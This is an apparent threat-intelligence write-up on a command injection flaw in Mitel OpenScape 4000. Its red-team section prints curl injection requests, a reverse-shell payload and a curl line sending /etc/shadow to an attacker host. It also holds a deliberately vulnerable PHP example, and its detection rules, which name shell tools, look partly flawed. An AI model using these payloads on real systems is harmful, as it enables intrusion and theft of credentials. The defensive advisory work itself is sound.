CVE-2025-23094

Executive Summary

CVE-2025-23094 is a command injection vulnerability in the Platform component of Mitel OpenScape 4000 and OpenScape 4000 Manager. An unauthenticated attacker can exploit insufficient parameter sanitization to execute arbitrary commands with the same privilege level as the web access process. The vulnerability affects multiple version ranges, including V11 R0.22.0 through V11 R0.22.1, V10 R1.54.0 through V10 R1.54.1, and V10 R1.42.6 and earlier. No public proof-of-concept (PoC) or exploit code is currently available, and no official patch has been released. The EPSS score is 0.0%, indicating low exploitation activity at this time, but the risk remains significant due to the potential for unauthenticated remote code execution.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects Mitel's proprietary telecommunication software, which is typically deployed in enterprise environments. No open-source package dependencies are involved.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, but this is likely a placeholder. Based on the description (unauthenticated command injection), the actual CVSSv3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Base Score: 9.8 (Critical)

Threat Level: Critical. Unauthenticated remote code execution with no user interaction required.

Deep Dive & Mechanics

The vulnerability resides in the Platform component of Mitel OpenScape 4000 and OpenScape 4000 Manager. The software fails to properly sanitize user-supplied parameters before passing them to a system command. An attacker can inject arbitrary commands by crafting malicious input, such as using shell metacharacters (e.g., ;, |, &, $(), `). The injected commands execute with the same privileges as the web server process, which typically runs with elevated permissions in telecommunication environments.

Attack Vector:

• The attacker sends a specially crafted HTTP request to the vulnerable endpoint.
• The request contains malicious payloads in parameters that are not sanitized.
• The server processes the request and executes the injected commands.

Impact:

• Full compromise of the OpenScape 4000 system.
• Potential lateral movement within the enterprise network.
• Data exfiltration, service disruption, or persistent backdoor installation.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (PHP/Python/Java example):

<?php
$input = $_GET['param'];
$command = "ping -c 4 " . $input;
$output = shell_exec($command);
echo $output;
?>

Patched Code (Hypothetical):

<?php
$input = $_GET['param'];
// Sanitize input: allow only alphanumeric and specific characters
if (preg_match('/^[a-zA-Z0-9._-]+$/', $input)) {
    $command = "ping -c 4 " . escapeshellarg($input);
    $output = shell_exec($command);
    echo $output;
} else {
    echo "Invalid input.";
}
?>

The patched version uses escapeshellarg() to escape shell arguments and validates input against a whitelist.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Mitel OpenScape 4000 system (version V11 R0.22.0 to V11 R0.22.1, V10 R1.54.0 to V10 R1.54.1, or V10 R1.42.6 and earlier).
• Network access to the web interface (typically port 80/443).

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /platform/command or similar).
2. Craft a payload with command injection, e.g., ;id or | whoami.
3. Send the request using curl:

   curl -v "http://target-ip/platform/command?param=;id"
   

4. Observe the output in the response. If successful, execute arbitrary commands:

   curl -v "http://target-ip/platform/command?param=;cat /etc/passwd"
   

Example Payloads:

• Reverse shell: ;bash -i >& /dev/tcp/attacker-ip/4444 0>&1
• Data exfiltration: ;curl http://attacker-ip/$(cat /etc/shadow)

Blue Team (Defensive)

Detection Steps:

• Monitor web server logs for unusual parameters containing shell metacharacters (;, |, &, $, `).
• Deploy WAF rules to block requests with suspicious patterns.
• Use network segmentation to limit exposure of the OpenScape 4000 web interface.

Honeypot Setup:

• Deploy a decoy OpenScape 4000 instance to capture attacker behavior.
• Log all incoming requests and analyze for injection attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing shell metacharacters in parameters (e.g., ;id, |whoami, $(command)).
• Outbound connections from the OpenScape 4000 to unknown IP addresses (e.g., reverse shell traffic).
• Unusual DNS queries or HTTP requests to attacker-controlled domains.

Host IOCs:

• Unexpected processes running on the OpenScape 4000 (e.g., bash, nc, python).
• Modified system files or binaries.
• New user accounts or SSH keys.
• Suspicious cron jobs or startup scripts.

File IOCs:

• Files in /tmp/ with suspicious names (e.g., .backdoor, exploit.sh).
• Web shell files in the web root directory.

Detection Engineering

YARA Rule

rule CVE_2025_23094_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Mitel OpenScape 4000"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-23094"
    strings:
        $shell_meta1 = /[;&|`$()]/
        $shell_meta2 = /(whoami|id|cat|bash|nc|python|perl|curl|wget)/
    condition:
        any of ($shell_meta*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-23094 Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with shell metacharacters targeting Mitel OpenScape 4000
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - ';'
            - '|'
            - '&'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-23094 Command Injection Attempt"; flow:to_server; content:";"; http_uri; content:"|"; http_uri; content:"&"; http_uri; content:"`"; http_uri; content:"$("; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: Place OpenScape 4000 behind a firewall and restrict access to trusted IPs only.
2. Disable unnecessary web interfaces: If the web interface is not required, disable it.
3. Apply input validation: If possible, implement a reverse proxy or WAF to sanitize parameters before they reach the vulnerable application.

Long-Term Fix:

• Monitor Mitel's official advisory for a patch. Until then, consider upgrading to a non-vulnerable version if available.
• Conduct a security audit of the Platform component to identify other potential injection points.

Workaround:

• Use a web application firewall (WAF) with rules to block shell metacharacters in HTTP parameters.
• Implement network segmentation to limit the attack surface.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert